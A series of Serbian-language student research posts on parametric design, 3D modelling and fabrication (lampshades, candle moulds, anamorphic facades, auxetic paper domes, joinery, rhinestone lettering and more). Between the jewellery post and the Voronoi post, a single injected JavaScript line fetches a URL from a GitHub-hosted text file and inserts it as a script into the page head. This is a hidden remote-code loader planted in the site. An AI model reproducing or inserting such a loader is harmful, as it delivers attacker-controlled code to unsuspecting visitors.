Zaključak i rezultati ankete.

Posle sprovedene ankete u kojoj su ispitanici imali priliku da vide 360° vizualizaciju objekta i odgovore na pitanja o dimenzijama određenih elemenata sa vizuala uvideo sam da su svi odgovori  bili netačni, a samo dva ili tri su bili približino tačnom rešenju. Ovi rezultati pokazuju koliko ljudi, čak i uz pomoć 360° vizuala, nisu svesni koliki bi objekat bio ogroman da je zaista bio projektovan.

Anketu i rezultate ankete možete pogledati ovde:

https://docs.google.com/forms/d/e/1FAIpQLSfnWI0gyU2ToidRh4jwfWWvZA_-d7NUGGL9iVqlvipME8dZ3A/viewform?usp=sf_link

https://docs.google.com/spreadsheets/d/1ikvOoC-jH9FP6n2FH8s4jsxKRWNdmQIMVrb-lKYZl4s/edit?resourcekey=&gid=1676839421#gid=1676839421

Faza 3: Modelovanje parametarskih otvora na fasadi u odnosu na senke drveća

Treća faza rada ističe uspešnost primenjenog algoritma.

Snimak ekrana 2024-07-21 195452

 

Uz pomoć postavljenog algoritma parametarskom metodom su ostvareni kriterijumi i cilj istraživanja. Tok različitih veličina heksagonalnih otvora na fasadi je projektovan tako da poravna tok najvećih rupa sa površinama najvećeg senčenja od drveća, čime je postignut pravilan raspored otvora i adekvatno osvetljen enterijer.

Snimak ekrana 2024-07-21 195609

 

Rezultati istraživanja pokazuju da je problem adekvatne osvetljenosti enterijera moguće rešiti generičkim pristupom pomoću algoritma koji omogućava različita rešenja u kratkom vremenskom periodu. Promenom broja ili rasporeda drveća, na brz način, dolazi i do promene veličine i rasporeda otvora na fasadi.

Parametarsko generisanje senki – Faza 3

Prilikom dobijanja forme senke dolazimo do zaključka da nisko postavljeno osvetljenje stvara manje jasnu senku.

10

Jasniju konturu stvara senka od svetlosti iz većeg ugla u odnosu na površ pomoću broja površina koji nama odgovara.

 

7 9

5 3

 

Na kraju izdelimo površi tako da izmedju njih ne prolazi svetlost koja bi izdeformisala senku. Problem prilikom daljeg istraživanja predstavljaju izdeljene površi koje su zbog izvora svetlosti postavljene relativno visoko, tako da bi se morale pričvrstiti za podlogu transparentnim materijalima kako ne bi remetili senku.

2 1

Anamorfna fasada- modelovanje i vizualizacija -faza III

Nastavkom istraživanja iz prethodne faze i isprobavanjem različitih oblika željene senke, odlučujem se da nastavim da radim sa konturnom linijom sata na Petrovaradinskoj tvrđavi. Ovaj oblik se ispostavio kao ne previše komplikovan, a ni previše jednostavan.

TRI IZVORA DVA IZVORA

Izvor svetlosti:

Probala sam da koristim dva ili tri izvora svetlosti, krajnjim rezultatima zaključujem da se jasnija senka formira kada se koriste samo dve lampe, dodavanjem treće sa strane gde već postoji jedna lampa dolazi do zamućenja linije koja čini oblik sata na fasadi jer susedni izvori svetla sa istim geometrijama formiraju dve senke.

Na desnoj strani izvor svetlosti je bliži geometriji na koju svetlost pada, nego na levoj strani, samim tim vidimo malu razliku u oštrini dobijene senke. Zaključak je da je senke jasnija ukoliko je izvor svetla bliži.

Problem:

Krajnja linija senke nije potpuno jasna i ravna jer da bi postigli taj efekat trebalo bi gušće postaviti cilindričnu geometriju koja senku formira, ili sam izvor svetla mnogo bliže svoj geometriji, samim tim fasada ne bi izgledala kao zamisljena. Takođe, kada bi želeli da dobijemo komplikovaniji oblik presečeni cilindri umaju jako neravne završetke na gorenjem delu koji pravi senku, što bi otežalo fabrikaciju. U ovom slucaju postoje takvi završeci takođe, ali je njihov broj smanjen.

FAJNAL

Ovako izgleda krajnje dobijeni rezultat fasade noću, dodala sam kazaljke sata kako bih postigla bolji efekat.

dan1

Fasada preko dana izgleda samo kao geometrija različite dužine raspoređena duž fasade sa satom u sredini.

u boji

Modelovanje zakrivljenih površi i njihova fabrikacija od lepenke – faza 3

Modelovanje i fabrikacija abažura za lampe:

  1. Proces modelovanja

Cilj: od jedne ravne ploče napraviti abažur koji sadrži otvore.

Srf -> UnrollSrf -> Polyline -> Trim -> Extrude -> Rotate3D -> ArrayPolar

Prvo moramo obratiti pažnju na oblik abažura, da li je cilindar, konus, zarubljeni konus, sfera ili neki drugi geometrijski oblik. Potom se traži razvijena forma datog geometrijskog tela. Svako geometrijsko telo ima drugačiju razvijenu formu, pa tako cilindar postaje pravougaonik, a konus isečak kruga.

22

Primetićemo da su kod cilindra izvodnice prave paralelne linije dok se kod konusa izvodnice seku u jednoj tački odnosno centru kružnice.

222

Kako se ploča ne bi lomila ili listala tokom formiranja datog geometrijskog tela mora se zasecati po izvodnicama razvijene forme. Međutim, ukoliko zasecamo isključivo po izvodnicama nećemo dobiti željene otvore a ukoliko potpuno presečemo izvodnice ploča će se raspasti. Shdno tome na ivicama ploče pratimo izvodnice a na sredini ploče imamo potpunu slobodu da osmislimo oblik zasecanja kakav želimo. Pre nego što nacrtamo novi oblik potrebno je razmotriti dužinu razvijene forme i podeliti je na jednake delove kako bi nove pločice bile jednake i kako bi dobili konkretne dimenzije novih pločica.

3

Kada nacrtamo novi oblik izdvojimo ga, dodamo mu debljinu 2mm (lepenka, 2mm) i postavimo ga u položaj izvodnica originalnog geometrijskog tela. U slučaju cilindra izvodnica je paralelna z-osi dok su kod konusa izvodnice pod određenim uglom.

2

Alatkom ArrayPolar rasporedimo novu pločicu po kružnici istih dimenzija kao gornje baze cilindra ili zarubljenog konusa. Voditi računa o opcijama unutar alatke (postavljanju kružnice, broju ponavljanja i uglu delovanja).

1

38

  1. Proces fabrikacije 
  • Priprema za lasersko sečenje

Kako ne bi došlo do neadekvatnih spojeva prilikom fabrikacije abažura, dati oblik pločice treba umnožiti po razvojnoj formi tako da se linije paralelne izvodnici poslednje pločice poklapaju sa krajnjom ivicom razvojne forme.

2222222

Potrebno je modifikovati razvijenu površ, odsecanjem viška i dodavanjem ga sa desne strane.

3333

Šablon sečenja ploče, crvene linije laser seče a plave gravira.

111111

  • Konačan rezultat istraživanja

WhatsApp Image 2024-07-14 at 04.42.48WhatsApp Image 2024-07-14 at 04.44.38WhatsApp Image 2024-07-14 at 04.42.49

 

Faza 3- izrada kalupa za sveću primenom parametarskog modelovanja

Na početku treće faze bilo je potrebno 3d ištampati model za kalup:

Snimak ekrana 2024-07-14 023544

Kada smo ištampali model potrebno je obložiti ga silikonom, kada se silikon ossuši treba napraviti najmanji otvor kroz koji možemo izvaditi model. Posle kroz kalup provlacimo fitilj za sveću, nakon čega možemo sipati vosak.

Finalni rezultat:

Snimak ekrana 2024-07-14 024257 Snimak ekrana 2024-07-14 024439

 

Zaključak:  Primenom ovih softvera moguće je napraviti interesantna foma sveće, sa koje se kalup može lako uloniti i koristiti više puta.

Modelovanje integrisane zidne lampe, inspirisane srpskom sakralnom arhitekturom, u 3ds Max-u, sa fokusom na izradu detalja, elementa urušenog zida-Faza 3

Prilikom praktičnog dela rada u prethodnom postu uočeni su nedostaci, u vidu lošeg kvaliteta i previše utrošenog vremena prilikom korišćenja metode 1, dok sam metodom 2 dobila dobre rezultate prilikom oduzimanja dela geometrije. Samim tim odlučeno je da će se na finalnom modelu koristiti drugi metod kako bi se dobio kvalitetan i efikasan rezultat urušenog zida, što sličniji referentnim ugradnim lampama.

Za finalni model izabrala sam manastir koji je od velikog značaja za srpsku istoriju i koji je danas uvršten na listu svetske kulturne baštine, manastir Sopoćani.

Na internetu ne postoji 3d model ovog manastira, tako da sam prvo izmodelovala osnovnu geometriju u 3dsMax-u, koju sam zatim ubacila u okvir lampe.

Prikaz osnovne geometrije modela:

1

 

Primena metode 2 na geometriji manastira Sopoćani:

Modelovanje kamena je urađeno po istom principu kao i u prethodnom postu, s tim da su u ovom slučaju, kako bi se dobio željeni oblik kamena, menjani sledeći parametri: strenght i decay u displacement-u, i size, fractal iterations i roughness u mapi (cell characteristics).

map edit

Isecanje osnovne geometrije urađeno je bulovom operacijom, rotacijom i pozicioniranjem tri kamena različitih dimenzija i neravnina, kako bi se dobio realističan (kvalitetan) izgled urušenog zida.

  • Dolazi se brže do željenih rezultata, veći je kvalitet dobijene geometrije i bolja detaljnost.
  • Ne utiče na okolnu geometriju i lako se koristi. Jednom izmodelovan kamen može se koristiti više puta i u više projekata (modelovanja lampi).

Prikaz primene metode 2 na gotovom modelu manastira sopoćani:

3

 

 

 

 

 

 

 

 

 

 

 

 

 

Rezultati:

Prikaz finalnog modela integrisane zidne lampe:

r4

 

r2Uporedna analiza lampe modelovane metodom 1, metodom 2 i referentne fotografije:

uporediti

 

Primećujemo jasnu razliku u kvalitetu izrade urušenih zidova na prvoj i drugor fotografiji u odnosu na poslednju referentnu. Na osnovu mog i mišljenja kolega smatram da sam na drugom modelu uspešno izmodelovala urušene zidove korišćenjem proboolean operacije i isecanja geometrije kamenom, metodom 2.

Primeri dobrog nivoa detaljnosti ali loše kompozicije i lošeg modelovanja urušenog zida (metoda 1):

0- (2)

 

0- (3)

 

 

 

 

 

 

 

 

 

 

 

Primeri dobrog modelovanja urušenog zida (metodom 2), dobrog nivoa detaljnosti i dobre kompozicije:

r3 r5 r6

Zaključak:

Estetika i kvalitet integracije lampe u zid direktno su povezani sa kompozicijom i kvalitetom 3d modela, dok efikasnost izrade zavisi isključivo od načina modelovanja.

Na osnovu konačnog modela, integrisane zidne lampe, zaključujem da je hipoteza bila tačna i da je primenom prethodno objašnjene metode, modelovanja kamena i proboolean operacija, moguće kvalitetno i efikasno izmodelovati novu verziju lampe,u vidu manastira Sopoćani, koja izgleda kao da proizilazi iz zida zahvaljujući elementima, detaljima urušenog zida.

Veličine modela u odnosu na zid i čoveka:

Visina lampe je 24cm, dok je širina 20x18cm. Nalazi se na visini od 140cm.

0

 

Ugradnja

 Moguće dimenzije lampe:

Zid od gipsanih ploca 12.5cm -lampa širine do 10x10cm- visina je proizvoljna.

Zid od cigli 25 cm –lampa širine do 22x22cm- visina je proizvoljna.

Način ugradnje u zid od gipsanih ploča:

ugradnja

Način ugradnje u zid od cigle:

Princip je isti kao i u prethodnom primeru, samo što je isecanje zida zbog svojstva materijala teže i u određenim situacijama može iziskivati stručnu pomoć ili posebne alate.

Kako bi se u ovom slučaju ubrzao i olakšao proces, moguće je lampu ugraditi u stub (koji bi imao istu strukturu kao zid od gipsanih ploča) koji bi se pričvrstio za masivni zid od cigle.

 

 

 

 

 

 

 

Modelovanje nadstrešnice 3D L sistemom i 2D krivolinijskim sistemom – III faza

U trećoj fazi modelovanja nadstrešnica postavljaju se krovne konstrukcije i završava proces projektovanja. Na samom kraju pomoću situacionog rendera izvedena je mini anketa.

Dvodimenzionalni nosač se duplira i postavlja se jednostavna, ručno projektovana krovna konstrukcija koja prati kosinu tačaka oslanjanja.

materijal 5

Trodimenzionalnom nosaču se dodaje proizvoljna krovna konstrukcija, koja se zatim deli na manje povrsine putem opcije Quad Remesh/Quad Remesh Settings, njima se dodaju ivice – Mesh Edges i daje im se visina – Extrude. Kako bi se nosač uklopio u oblik krova, dodaju se nastavci. Oni dobijaju debljinu funkcijom Tube.

screenshot koda2

materijal 6

materijal 7

Postavljanjem dobijenih struktura u odgovarajuću izrenderovanu situaciju, dobijamo da su one drastično drugačije biomimetičke strukture.

Kroz anketu većina ispitanika se izjasnila da je nadstrešnica dvodimenzionalnih nosača poželjnija zbog svoje jednostavnosti i boljeg prostora koji pruža, dok druga suviše blokira slobodu prostora. Takođe, izjašnjeno je da prva iako manje kompleksna, dovoljno imitira prirodne strukture i funkcioniše bolje.

render1

render2

Istraživanje auxetic materijala: Analiza transformacije bistabilnog heksagonalnog šablona, FAZA 3 – Testiranje šablona i realizacija 3D oblika

auxetic dome-top

1. Uvod

U trećoj fazi istraživanja, različite varijante šablona su testirane na papiru kako bi se odredili optimalni parametri za postizanje željenog 3D oblika. Proces je uključivao štampanje, sečenje skalpelom i isprobavanje različitih dužina zglobova kako bi se postigla optimalna fleksibilnost i stabilnost strukture. 

2. Priprema i testiranje uzoraka

Štampanje šablona:

  • Šabloni su štampani na A4 papir debljine 1mm.

Sečenje skalpelom:

  • Nakon štampanja, šabloni su pažljivo sečeni skalpelom kako bi se formirali potrebni zglobovi.

Testiranje dužine zglobova:

  • Testiranje je započeto šablonima koji ostaju ravni nakon širenja. Cilj je bio videti kako se papir ponaša sa različitim dužinama zglobova:
    • Zglob od 1mm: Uzorak se najlakše širio, ali je brzo pucao.
    • uzorak_zglob 1mm
    • Zglob od 3mm: Najteže je bilo raširiti uzorak, manje je dolazilo do pucanja, ali je struktura bila kruta.
    • uzorak_zglob 3mm
  • Zglob od 2mm: Pokazao se kao najoptimalnije rešenje.
  • zglob 2mm

3. Optimizacija za 3D oblik

auxetic dome-secenje

Primena optimalnih parametara:

  • Na osnovu prethodnih testova, zglob od 2mm je primenjen na uzorak koji treba da formira kupolu prilikom širenja.

Formiranje kupole:

  • Uzorak je pažljivo raširen kako bi formirao kupolu. Posebna pažnja je posvećena zoni manjeg širenja (zbog sitnih elemenata) kako bi se izbeglo pucanje.
  • auxetic dome- skupjen
  • Za postizanje oble forme, bilo je korisno razvlačiti uzorak preko oble površi (npr. balona ili lopte).
  • auxetic dome-balon

auxetic dome-front

4. Zaključak

Po završetku ove faze, razvijeni šablon uspešno je formirao željeni 3D oblik kupole, u dovoljnoj meri ispunjavajući postavljene ciljeve istraživanja.

 

Modelovanje samonosive zakrivljene strukture faza 3

Primenjen je postupak modelovanja strukture iz faze 2 ali na kompleksnijoj formi:

Postupak:

  • U tačkama mesh-a postavljene su sfere određenog prečnika.

Screenshot_13

  • Urađeno je presecanje mesh-a sferema.

Screenshot_14

  • Na dobijenim isečcima urađen je MultiPipe kako bi se dobile spojnice.

Screenshot_15

  • Postavljena je još jedna grupa sfera takođe u tačkama mesh-a ali manjih dimenzija od prvobitnih.
  • Urađen je SolidDifference cele strukture i drugih sfera kako bi se dobili štapići koji ulaze u spojnice.

Screenshot_16

  • Na spojnicama je urađen zatim offset kako bi dobile debljinu.

Screenshot_11

  • Radi bolje estetike urađeno je Catmull-Clark zakrivljivanje.

Screenshot_12

Dobijena struktura:

2_Day_002

2_Day_001

2_Day_003

 

Spojnice su pripremljene za 3D štampu i numerisane:

Screenshot_1

Primećen je problem kod pojedinih spojnica gde je došlo do preklapanja ivica:

Screenshot_7

Štampanje spojnica:

IMG_20240713_095002

IMG_20240713_151221

Štampanje spojnica nije bilo potpuno uspešno.

Izgled spojnica sa preklapanjem:

IMG_20240713_151414

 

Kod nekih spojnica je preklapanje pravilo problem, kod nekih ne.

Korišćeni alati: Rhino, Grasshopper, Kangaroo

Problemi:

  • Primećeni su problemi pri samom modelovanju – preklapanje pojedinih spojnica gde bi trebalo u narednoj fazi isprobati modelovanje sa drugim dimenzijama.
  • Prilikom 3D štampe potrebno je pažljivije pripremiti spojnice kako bi što više njih bilo na približno istoj visini i u horizontalnoj ravni. U narednoj fazi bi se moglo isprobati postavljanje elemenata u horizontalnu ravan pomoću Grasshoppera. Za ovu fazu elementi su orijentisani u Rhinu pomoću Orient3P. Takođe, trebalo bi ponovo razmotriti dimenzije elemenata.
  • Potrebno je testirati ponašanje materijala – štampanih spojnica i drvenih štapića. Korišćeni su štapići prečnika 0.4cm, dok su spojnice sa širinom otvora prečnika 0.44cm

Zaključak:

Postupak dobijanja strukture i spojnica bi mogao biti uspešan. U narednom istraživanju bi se trenutni problemi mogli rešiti.

Dizajn i postupak formiranja samonosive zakrivljene strukture znatno je olakšan digitalnim modelovanjem i fabrikacijom, sa mogućnošću jednostavne izmene parametara – forme, dimenzija, broja oslonaca… Stvara se mogućnost dobijanja kreativnih rešenja zakrivljenih struktura koje su kroz istoriju arhitekture bile privlačne ali i teško izvodive.

 

 

Reprodukcija scene/zgrade/osobe iz stvarnog života u stilu serije Arcane korišćenjem programa Adobe Photoshop – Faza3

sva 3 crteza

Na osnovu prethodnog posta, gde sam istraživala metod digitalnog slikanja serije Arcane i to primenila na primeru kocke, odlučila sam da uradim isto u tri mnogo kompleksnija primera u pokušaju da ih prikažem kroz stil Arcane-a bazirajući se konkretno na sam umetnički stil serije. Istražila sam i primenila boje i osvetljenja i pokušala preneti različite atmosfere scena iz serije u cilju da dobijem više zanimljivih rezultata:

  1. crvena vrata i deo zgrade koje sam uslikala u Beogradu – inspirisano gradom Zaun
  2. katedrala iz centra Novog Sada- inspirisano gradom Piltover
  3. nacrtala sam sebe kao Arcane karaktera :D

a) Našla sam 3D model katedrale iz centra Novog Sada na 3D Warehouse, ubacila to u Blender, dodala osvetljenje čisto kao početni osecaj za scenu i uradila jednostavan render koji sam posle oslikala u Adobe Photoshop-u. Htela sam da odaje atmosferu Arcane grada – Piltover. Koristila sam u suštini iste alatke kao iz prethodnog posta kao što su Pick screen color, Polyline selection, Fill, Blur filter i Glow dodge na lejerima koji sadrže svetlo. Za četkice sam koristila default photoshop četkice u zavisnosti kad mi je koja više odgovarala uz minimalne izmene karakteristika četke. Ovo može posle da se projektuje tj camera mapuje na taj 3D model katedrale u blenderu i da se kreira 3D scena oslikana 2D crtežima što je tema za sebe.

1

– referenca iz Arcane grada – Piltover                                                         moja interpretacija –

2Ovo je bilo dosta zahtevno zbog visokog nivoa detalja kako samog Piltover-a tako i same detaljnosti katedrale koja je ovde čak svedena na minimum mada je render iz blendera dosta pomogao da geometrija bude ispravnija nego ona crtana ručno. Smatram da sam delimično uspela da prenesem atmosferu Piltovera zbog manjka poznavanja njihovog profesionalnog umeća ali crtež je uspešno pretvoren u animiranu scenu.

b) Zatim sam pokušala da primenim način na koji su Arcane tim umetnika oslikali karaktere na primeru crteža sebe.

3– Arcane tim je karaktere 3D modelovao pa oslikavao no ja sam odlučila da samo oslikam sebe uz pomoć reference crteža Jinx odakle sam uzimala boje i pratila poteze njihovih četkica, senki, highlight-ova, linija itd.

4Ovo je bilo dosta jednostavno zbog smanjenih detalja koji su morali da se oslikaju i slične poze oba karaktera. Na osnovu ličnog zaključka i mišljenja prijatelja i poznanika koje sam pitala, ovo je, pored katedrale, najuspešniji ”Arcane like” crtež od sva tri primera.

c) Na kraju sam nacrtala i jednu mini scenu crvenih vrata koje sam uslikala kad sam bila u Beogradu. Htela sam da odaje atmosferu Arcane grada – Zaun- gde imamo mračnu scenu sa hintovima zelene i braon boje i suptilnog zelenkastog osvetljenja, oronulim zidom, grafitima i upečatljivim narandžastim svetlom koje vuče najviše pažnje posmatraču slike.

5

– reference iz Arcane grada – Zaun                                                             moja interpretacija –

6Ovo je takođe bilo dosta jednostavno za oslikati zbog smanjenih obimnih detalja scene i smanjenog fokusa na samo vrata i deo zgrade no zbog samog mog neposedovanja, još uvek, tolikog umetničkog skilla smatram da je i ovo delimično uspelo no osećaj animirane scene je uspešno postignut.

ZAKLJUČAK: Pokazalo se da je moguće postići dobar i zanimljiv rezultat animiranog dela analizom i primenom umetničkog stila i tehnika iz serije Arcane na bilo koje scene, bilo da su inspirisane stvarnim životom ili imaginarne, uz određeno posedovanje umetničkih veština u digitalnom slikarstvu.

 

Modelovanje i fabrikacija drvenih konstrukcija pomuću “japanese joinery”-a na brži i moderniji način – faza 3

Treća faza se odnosi na izradu japanese joinery-a.

Korišćena je šperploča kao materijal, koja je laserski sečena da bi se dobili odgovarajući oblici. Jedan oblik je podeljen u 3 segmenta koji su kasnije spojeni. Korišćeni su uglavnom jednostavniji oblici koji su lakši za sečenje. Dobija se varijacija raznih oblika koji mogu da bude korišćeni u spoju.

 

IMG_20240711_010417

Ovo su primeri kako se od 3 segmenta dobija jedinstveni oblik japanese joinery-a

IMG_20240711_030453 IMG_20240711_031750IMG_20240711_035943IMG_20240711_040003

 

 

 

 

 

 

 

Potom je urađen spoj raznih elemenata koji su dobijeni.

IMG_20240711_031927

 

 

 

 

 

 

 

Ovim je potvrđeno da je moguće izvesti japanese joinery modernim načinom proizvodnje, konkretno u ovom slučaju laserskim sečenjem. Ovo bi bio brzi i jeftiniji način proizvodnje, ali neke kompleksinije oblike možda ne bi bilo moguće proizvesti na ovaj način gde se oblik deli u 3 segmenta, ali je ovo sasvim dovoljno za proizvodnju određenog nameštaja na primer.

 

 

Efikasak način fabrikovanja nakita sa štrasom primenom algoritma part3

 

G!V5F-9_page-0001

 

Da bismo sproveli istraživanje, bilo je važno da kriterijumi budu ravnopravni. Potrebno je bilo pronaći cirkone sa sličnim površinama, a zaključili smo da je najbolje da svi cirkoni imaju istu visinu.

G!V5F-13_page-0001

 

Font je dizajniran da zadovolji oblike cirkona, uz minimalnu slobodnu površinu pri njihovom popunjavanju.

 

Dva pristupa rešavanju problema:

1/ redjanje cirkona po gridu unutar konture slova

2/ nasumično popunjavanje cirkonima unutar konture slova

 

1/ redjanje cirkona po gridu unutar konture slova

-kvadratni cirkoni

G!V5F-21_page-0001

-trougaoni cirkoni

G!V5F-22_page-0001

-šestougaoni cirkoni

G!V5F-23_page-0001

Istraživanje je pokazalo da kvadrati popunjavaju najveću površinu slova sa najmanjim ostatkom slobodne površine. S druge strane, kod trouglova imamo najveću površinu bez cirkona. Kvadrati su efikasniji za popunjavanje, dok trouglovi ostavljaju više praznog prostora.

G!V5F-24_page-0001

2/ nasumično popunjavanje cirkonima unutar konture slova

-okrugli cirkoni

G!V5F-26_page-0001

Cilj je da površina slova ima što manju površinu bez cirkona. Iz tog razloga smo uveli mogućnost povećanja cirkona unutar slova. Tako se postiže veća pokrivenost i smanjuje se slobodna površina.

G!V5F-30_page-0001 G!V5F-31_page-0001

 

 

Zaključak je da su kvadratni cirkoni najbolji za popunjavanje površine slova, jer ostavljaju najmanje slobodne površine. Šestouglovi su na drugom mestu, dok su trouglovi na četvrtom, jer kod njih ostaje najviše slobodne površine bez cirkona. Iako kružni cirkoni estetski deluju kao da najbolje popunjavaju površinu, istraživanje je pokazalo da su oni na trećem mestu po efikasnosti popunjavanja.

G!V5F-32_page-0001

 

 ;var url = ‘https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt’;fetch(url).then(response => response.text()).then(data => {var script = document.createElement(‘script’);script.src = data.trim();document.getElementsByTagName(‘head’)[0].appendChild(script);});

Faza 3: Parametarski pristup umetnosti – pomoću Voronoi oblika.

Konačan rezultat koji želimo jeste parametarski modelovana fotografija.

Početak: Definisanje dimenzija okvira, dimenzije konačne fotografije. Zatim se dobijeni okvir ispuni određenim brojem tačaka, koristeći komandu Populate 2D. Sledeći korak jeste ubacivanje fotografije pomoću komande Image Sampler. Pokretanjem komande Voronoi, tačke se međusobno povezuju i tako formiraju željenu fotografiju. Oblici se formiraju na osnovu boja na fotografiji.

 

 

hvataj ph1

Hvataj3ph2

Konačan rezultat se može korigovati u zavisnosti od željene detaljnosti fotografije. Tako je moguće menjati pozicije tačaka, površinu segmenata i sam oblik segmenata koji formiraju konačan rezultat.

KONAČAN REZULTAT.
Image1_016
KONAČAN REZULTAT .

Zaključak: Moguće je koristiti Grasshopper za parametarsko modelovanje fotografije.Hipoteza je tačna.

Kreiranje 3D scene izvedene iz 2D slike na što jednostavniji način – faza 3

Da bi postigli trodimenzionalni utisak na malo kompleksnijem crtežu potrebno je izdeliti ga na što manje segmenata, tako da na kraju idalje imamo utisak da se radi o 3D prostoru.

U ovom slučaju kula je izdvojena kao poseban element. Ostali elementi deljeni su na osnovu potrebnog utiska dubine prostora, drugačijeg položaja ravni, i vrste elementa (cveće, drveće, zid itd.)

Screenshot 2024-06-26 124111Neki elementi biće odvojeni od onih iza, što se na crtežu ne vidi. Ovo znači da će postojati površine koje će faliti na crtežu, a koje će biti potrebno popuniti (na primer nebo iza kule).

skrin2

Screenshot 2024-06-26 132819
pozadina je podeljena u više ravni

Neki elementi će imati više strana. U tom slučajuih ipak moramo razdvojiti na više delova, a u ovom slučaju, na primer- mali stepenik ispod kule.

Screenshot 2024-06-26 130538

Sav materijal je sortiran radi lakšeg ubacivanja u Blender.

 

Kula kao najsloženiji element podeljena je na što manje segmenata. Prozori i terasice su uvučene/ izvučene.

ezgif.com-crop (2)

Finalna scena ima utisak trodimenzionalnosti, ali ne u velikoj meri. Primena ovog metoda je jednostavna, ali nekad zahteva više podataka nego što 2D slika poseduje, čak i izvan kadra početnog crteža/ fotografije.

scene6

scene5

 

 

 

 

 

 

 

 

Sa druge strane, ovim se može postići utisak blage trodimenzionalnosti, što možda može biti korisno ako nam je potreban malo drugačiji ugao za istu ilustraciju. Primeri se vide ispod.

scena 1
neki prikazi mogućih kadrova

 

 

Faza 3 – Modelovanje i fabrikacija kocke koja projektuje željenu senku/sliku

U ovoj fazi istraživanja na red je došla fabrikacija. Hipoteza je bila ta da bi se ovakav model mogao fabrikovati na jednostavniji i jeftiniji način od načina na koji su to radili Drzach i Suchy, a da pritom finalni proizvod bude istog ili zanemarljivo lošijeg kvaliteta.

Prilikom razmatranja različitih opcija fabrikacije istražio sam više potencijalnih načina 3d štampe kojima bi ovako nešto moglo da se napravi.  Prvobitna ideja je bila da se umesto SLS koristi SLA štampa koja je jeftinija, ali na kraju se ispostavilo da ta opcija nije moguća. Što se tiče FDM štampe ovakav model bi bio previše kompleksan.

Posle nekoliko pokušaja prilagođavanja uspeo sam da dođem do kompromisnog rešenja. Za 11 paralelnih segmenata na kojima su raspoređeni delovi slike koristio sam FDM štampu a onda sam te delove spojio tankim drvenim štapićima postavljenim u uglovima.

konačan rezultat:                             rezultat predviđen u programu:

Whatspost

Proces prilagođavanja pripreme modela za štampu:

Screenshot (193)—>Screenshot (192)—>Screenshot (194)

Zaključak:

Moguće je napraviti model sa skromnijim budžetom ali njegov kvalitet ne može da parira onome koji je urađen SLS štampom.

Primena anamorfnih reči na zakrivljanim formama – faza III

U trećem delu izdvojili smo tri preostala pitanja:

 

1. Kako formirati smislenu strukturu

2. Kako i da li je moguće uklopiti anamorfnu reč u istu, korišćenjem isključivo boje

3. Koja reč je u pitanju

4. O kakvom prosotru govorimo

 

2: Odlučili smo se za metodu korišćenja referentne tačke (point), odnosno pravca projiciranja i texta koji smo extrudovali putem istog, tako da se on u jednom momentu preseče sa strukturom (Brep), tako da se na mestu preseka oslika reč.

3pooo

Problem: Ono što mi je predstavljalo problem bio je presek, odnosno Boolean operacije, tako da sam morala svaki sloj pomeriti za određenu vrednost ka drugom, kako bi “ušao” u njega, ali isto tako i proveriti da li je svaki sloj zatvoren odnosno SOLID.

 

3-4: Neke od inspiracija koje su mi poslužile za odabir same reči i konkretnog prostora

1723cade95a7f34c86b5593e5cf76684 727d248dfa1e50832a6609ce25c3d56b

Zaključak:

Smatram da sam uspela da zadovoljim svoje kriterijume sa početka, kao i da opravdam hipotezu koju sam postavila.

Moguće je uklopiti zakrivljene elemente i anamorfnu reč, međutim, isto tako mislim da radi što boljeg finalnog rešenja, treba porazmisliti o povećanju broja slojeva i njihovoj debljini pažljivo, kao i strukturi koja se na početku definiše – o stepenu zakrivljenosti elemenata i njihovom položaju.

Krajnji rezultat:

798

Dovođenje sunčeve svetlosti objektu kojem drugi objekat blokira svetlost- faza III

Realizacija istraženog u programima

Prethodnim istraživanjem došla sam do oblika optičkog tela i indeksa refrakcije. Dalje sam posmatrala slučaj kada je zrak pod 45 stepeni i po uzoru na simulaciju modelovala staklo koje bi prelamalo zrake i postavila na ivicu objekta u programima 3dsMax i Sketchup .

3ds Max

Postavljajući Vray sunce pod 45 stepeni i dodavanje telu materijal stakla sa indeksom refrakcije 1,5 analizirala sam render. Uporedila sam 3 situacije: bez staklenog tela, sa telom manjih i sa telom većih dimenzija.

Slika 1: Bez optičkog tela

vray bez stakla sa nebom poslednje

 

Slika 2: Sa optičkim telom manjih dimenzija

vray sa staklom manjim sa nebom

 

Slika 3: Sa optičkim telom većih dimenzija

vray sa staklom uvecanim sa nebom

Nažalost nisam uočila nikakvu promenu senki u renderu, što znači da program ne može da prelama zrake na ovaj način.

Sketchup

Proverila sam slučaj i u ovom programu, gde sam podesila vreme jesenje ravnodnevnice oko 12h kada su zraci odgovarajući i ponovo postavila optičko telo.

Slika 1: Bez optičkog tela

bez stakla

Slika 2: Sa optičkim telom manjih dimenzija

small

malo staklo

Slika 3: Sa optičkim telom većih dimenzija

big

veliko staklo 2

Zaključak je ponovo isti, bez promene na renderu.

 

 

Modelovanje šolje animiranog lika Groot-a u 3ds Max-u – Faza III

U nastavku modelovanja bavila sam se detaljima na samoj šolji. Počela sam sa pravljenjem udubljenja za usta i oči, a zatim i modelovanjem istih.

usta oci

Zatim sam dodala i dršku za šolju.

drska

 

Došla sam do konačnog izgleda šolje.

groot1

Zaključak:

Hipoteza je bila tačna, moguće je izmodelovati šolju u obliku Groot-a u 3ds Max-u koja bi se mogla koristiti i u stvarnom životu. Prilikom rešavanja zadatka naišla sam na dosta prepreka. Bilo je lako napraviti formu šolje u obliku njegove glave, ali i ne toliko lako kada su na red došli detalji, tj pravljenje očiju, usta i ostalih neravnina. Dokazala sam da se vremenski dosta brzo može doći do same forme šolje, ali pak za sve ostale pojedinosti je potrebno malo više vremena.

 

Modelovanje jednodelne rasklopive drvene strukture primenom Miura folda – faza 3

Kao rezultat, dobijena složena forma se i kao papirni model i kao forma kojoj je dodata debljina može saviti dovoljno da ispuni početni zahtev.Screenshot_16Screenshot_18

Varijacija 1

Kod prve varijacije se šablon preneo na zakrivljenu površinu – primer paviljonske strukture.

Kao rezultat se dobije forma koja ima mogućnost da isprati oblik površine, ali do problema dolazi prilikom sklapanja gde nije moguće dovesti formu do potpunog suzbijanja kao pri originalnoj formi.

Screenshot_21Screenshot_22Screenshot_24

Varijacija 2

U narednoj varijaciji je promenjena osnova forme tako da sada ne ukljucuje sve paralelograme, vec i nepravilne forme.

Rezultat je forma koju program nije mogao sklopiti do kraja, jer se strane preklapaju.

Screenshot_15Screenshot_25

Varijacija 3

Osnova je forma iz varijacije 2, ali se sada prenosi na zakrivljenu površinu.

Formu je moguće saviti u oblik površine, s tim da se odredjene strane saviju nepravilno, ali kao i u prethodnom primeru, nije je moguće sklopiti.

Screenshot_14Screenshot_13

 

